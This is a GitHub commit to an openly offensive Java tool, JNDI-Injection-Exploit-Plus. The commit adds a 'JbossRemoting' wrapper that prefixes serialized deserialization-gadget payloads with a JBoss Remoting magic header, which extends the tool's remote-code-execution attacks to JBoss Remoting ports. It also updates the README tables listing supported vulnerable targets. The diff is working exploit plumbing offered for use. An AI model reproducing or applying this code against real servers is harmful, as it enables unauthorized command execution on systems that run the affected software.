Skip to content

Commit 68d4dee

Browse files
committed
add JbossRemotingWrap
1 parent ecc9509 commit 68d4dee

File tree

6 files changed

+37
-1
lines changed

6 files changed

+37
-1
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -120,6 +120,7 @@ Wrapper | Example Vuls
120120
--------| -----------
121121
Xstream | CVE-2021-39149
122122
Apereo | Apereo 4.1 Deserialization RCE
123+
JbossRemoting | Jboss Remoting Port Unserialization
123124

124125
- Example
125126

README_zh.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,7 @@ java -jar JNDI-Injection-Exploit-Plus-2.0-SNAPSHOT-all.jar -C "<ip>:<port>" -D "
107107
--------| -----------
108108
Xstream | CVE-2021-39149
109109
Apereo | Apereo 4.1 反序列化漏洞
110+
JbossRemoting | Jboss Remoting 服务反序列化
110111

111112
- 示例
112113

pom.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>2.0-SNAPSHOT</version>
9+
<version>2.1-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

src/main/java/jndi/CommonDeserial.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,11 @@ public byte[] execByDeserialize(String gadgetType, String wrapperType) throws Ex
2323
if (wrapperType == null){
2424
Method method = payloadClass.getMethod("getBytes", String.class);
2525
bytes = (byte[])method.invoke(payloadClass.newInstance(), command);
26+
}else if (wrapperType.equals("JbossRemoting")){
27+
Method method = payloadClass.getMethod("getBytes", String.class);
28+
bytes = (byte[])method.invoke(payloadClass.newInstance(), command);
29+
JbossRemotingWrap wrap = new JbossRemotingWrap();
30+
bytes = wrap.wrap(bytes);
2631
}else{
2732
Method method = payloadClass.getMethod("getObject", String.class);
2833
Object obj = method.invoke(payloadClass.newInstance(), command);
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package wrappers;
2+
3+
4+
import org.reflections.Reflections;
5+
6+
import java.lang.reflect.Modifier;
7+
import java.util.Iterator;
8+
import java.util.Set;
9+
10+
11+
@SuppressWarnings ( "rawtypes" )
12+
public interface BytesWrap<T> {
13+
14+
public T wrap(byte[] bytes) throws Exception;
15+
}
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
package wrappers;
2+
3+
import java.io.IOException;
4+
5+
public class JbossRemotingWrap implements BytesWrap<byte[]> {
6+
public byte[] wrap(byte[] bytes) throws IOException {
7+
byte[] MagicHead = {119,1,22,121};
8+
byte[] res = new byte[MagicHead.length+bytes.length];
9+
System.arraycopy(MagicHead, 0, res, 0, MagicHead.length);
10+
System.arraycopy(bytes, MagicHead.length, res, MagicHead.length, bytes.length-MagicHead.length);
11+
12+
return res;
13+
}
14+
}

0 commit comments

Comments
 (0)